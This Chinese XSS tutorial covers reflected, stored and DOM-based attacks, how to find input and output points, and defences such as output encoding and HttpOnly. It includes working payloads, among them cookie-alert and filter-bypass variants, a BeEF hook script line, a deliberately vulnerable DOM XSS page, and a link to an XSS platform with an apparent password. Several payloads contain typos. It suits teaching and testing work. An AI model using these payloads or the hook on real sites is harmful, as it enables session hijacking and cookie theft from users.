(五)跨站脚本攻击(xss)
一、 定义和原理
当应用程序没有验证输入数据并产生输出时浏览器将用户输入的内容,当做脚本执行,执行了 恶意的功能,
这种针对用户浏览器的攻击即跨站脚本攻击。这个时候就会产生XSS漏洞。
“一切输入都是不安全的”,Web应用的漏洞几乎都是由一个原因造成:不能在使用前正确验证输入的数据。
XSS便是其中之一,攻击者可以在网页中写入恶意脚本,用户访问或点击的时候就会被执行。通常是由JavaScript编写
,偶尔也会使用ActionScript、VBScript。XSS能利用到何种程度,取决于如何编写脚本,当然,和上下文环境也有关系。
XSS全称跨站脚本攻击 (Cross Site Scripting) 缩写为CSS,但这会与层叠样式表(Cascading Style Sheets,CSS) 的缩写混淆。
恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。
主要分为三种类型:
- 反射型
- 存储型
- DOM 型
XSS 危害:
- Cookie窃取
- 会话劫持
- 钓鱼等攻击
- 盗取账户
- 恶意软件下载
- 键盘记录
- 广告引流等等 JavaScript 能够写出的任意恶意功能
二、 反射型 XSS
1、定义
- 应用程序或 API 包括未经验证和未经转义的用户输入, 直接作为 HTML 输 出的一部分。
- 一个成功的攻击可以让攻击者在受害者的浏览器中执行任意 的 HTML 和 JavaScript 。
- 特点:非持久化,必须用户点击带有特定参数的链接才能引起。 影响范围:仅执行脚本的用户。
2、示例
要判断系统是否存在XSS,只需要测试能否操纵应用程序参数输入,使其产生恶意输出即可,因此XSS漏洞的检测,有三大要点:输入点,输出点,以及恶意输出。
- 输入点:数据输入的参数位置。客户端与服务器端的交互,是通过请求和响应实现的,请求的时候往往会附带一些参数,这些参数就是数据的输入点,我们需要修改这些参数的值来影响服务器端的响应,并根据响应找出输出点。
- 输出点:输入数据的输出位置。有些数据输入后,经过服务器处理,往往会返回给客户端,可能出现在html标签中,也可能出现在script脚本中,我们需要根据位置的不同而使用不同的XSS构造方式。
- 恶意输出:在XSS中通常是指由JavaScript编写的代码。这些代码能实现一定功能和页面效果:弹框、发送Cookie、键盘记录等。
寻找输入点
页面有两个输入框,要求输入名字和姓氏,然后点击GO,姓名就会显示在下方。我们现在来检测这个功能是否存在XSS。
开启抓包工具,设置好代理,输入名字和姓氏。
![](https://img2018.cnblogs.com/blog/782175/201906/782175-20190612135957225-1255929206.png)
点击GO,抓到如下请求包。请求行中有三个参数,其中两个参数正好对应两个输入框,这三个参数都是潜在的XSS输入点,特别是输入框对应的firstname参数和lastname参数。
![](https://img2018.cnblogs.com/blog/782175/201906/782175-20190612140015039-1470967031.png)
寻找输出点
输出点我们可以通过在响应中查找输入点的值来找到。以firstname为例,我们在响应中查找bwapp这个值的位置。
发现响应中有8个匹配的值,难道有8个输出点?很多时候,为了更快速、准确的找出输出点,我们通常会将输入点的值修改为独一无二的值,如1234567,abcde等,以保证不会和系统其他参数值雷同。
![](https://img2018.cnblogs.com/blog/782175/201906/782175-20190612140211577-1585213469.png)
这样就准确找到了firstname这个输入点的输出点。
恶意输出
最终XSS的检测需要结合输入点和输出点。在输入点的值中加入恶意代码,查看输出点是否会产生恶意输出。
<script>alert(1)<script>
![](https://img2018.cnblogs.com/blog/782175/201906/782175-20190612140238665-603594265.png)
发现服务端没有对用户输入做任何处理就直接输出到页面上,弹出一个警告框。这就证明firstname参数存在XSS。依此流程检测,发现lastname同样存在XSS,但form参数不存在XSS。
3、防御方式
- 输入过滤;对用户的输入进行检测,过滤掉输入中的非法字符。
- 输出编码;在将输入输出到页面之前,将输入中未过滤的特殊字符进行转义,使其以文本形式展示,而不是被解析成页面结构或脚本。
4、常用脚本
<script>alert(1)<script> <script>alert("点击此处修复");location.href="https://www.baidu.com"</script> <script>alert(document.cookie)</script> /><img src=a.png onerror=alert(1)>
三、 存储型 XSS
- 存储型 XSS 是指应用程序通过 Web 请求获取不可信赖的数据,在未检验 数据是否存在 XSS 代码的情况下,便将其存入数据库。
- 当下一次从数据库 中获取该数据时程序也未对其进行过滤,页面再次执行 XSS 代码,存储型 XSS 可以持续攻击用户。
-
存储型XSS漏洞跟反射型形成的原因一样,不同的是存储型XSS后台会将构造的payload保存起来,构成更加持久的危害,因此存储型XSS也称“永久型”XSS
存储型XSS不需要我们结合社工等条件触发/破坏性要比反射型要大
1、存储型 XSS 出现位置
- 留言板
- 评论区
- 用户头像
- 个性签名
- 博客
2、示例
BeEF:全称 The Browser Exploitation Framework,是一款针对浏 览器的渗透测试工具。 用 Ruby 语言开发的,Kali 中默认安 装的一个模块,用于实现对 XSS 漏洞的攻击和利用。 自带一个 JS 脚本和后台管理页面。
BeEF原理:
3、防御方式
过滤防御方式:
对用户的输入进行合理验证,对特殊字符(如<、>、’、”等)以及 <script>、 javascript 等进行过滤。 script 过滤 大小写,双写绕过 输入长度过滤 在js中,抓包修改 /<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i <img src=x onerror=alert("xss")> ()过滤 <script>alert`xss`</script> ' " 过滤 <script>alert(/xss/)</script>
<script src="http://127.0.0.1:3000/hook.js">sss</script>
输出编码防御方式:
采用 OWASP ESAPI 对数据输出 HTML 上下文中不同位置(HTML 标签、HTML 属性、JavaScript 脚本、CSS、URL)进行恰当的输出编码。
HTML实体
HttpOnly 属性防御方式:
设置 HttpOnly 属性,避免攻击者利用跨站脚本漏洞进行 Cookie 劫持攻击。在 Java EE 中,给 Cookie 添加 HttpOnly 的代码如下:
java:
cookie.setHttpOnly(true);
python:
tools.sessions.httponly = True
php:
session.cookie_httponly =1
四、DOM型XSS
DOM 模型用一个逻辑树来表示一个文档,每个分支 的终点都是一个节点 (node),每个节点都包含着 对象(objects)。
DOM 的方法(methods)让你可 以用特定方式操作这个树,用这些方法你可以改变文 档的结构、样式或者内容。
DOM 型 XSS 其实是一种特殊类型的反射型 XSS,通过 JS 操作 DOM 树动态地 输出数据到页面,而不依赖于将数据提交给服务器端,它是基于 DOM 文档对象 模型的一种漏洞。
与反射型的异同点和危害:
- 同: 都是没有控制好输入,并且把 javaScript 脚本 输入作为输出插入到 HTML 页面。
- 异: 反射型 XSS 是经过后端语言后,页面引用后端输出生效。DOM XSS 是经过 JS 对 DOM 树直接操作后插入到页面。
- 危害性: 前后端分离,不经过 WAF 的检测。
示例:
<!DOCTYPE htm1> <html> <head> <meta charset="utf-8"> <title> dom xss</title> </head> <body> <form name="domXss" method="GET“> <script> if (document.location.href.index0f("search=") >= 0) { var str=window.location.search; var ipt=decodeURIComponent(str.split("search=")[1]); var ipt=ipt.replace(/\+/g,""); document.write("<p>"+ipt+"</p>"); } </script> <p>please input:<input type="text" name="search"/></p> <input type="submit" value="submit" /> </form> <hr> </body> </html>
防御:
html过滤
五、xss平台
https://xss.pt/xss.php?do=module&act=view&id=15 admin8090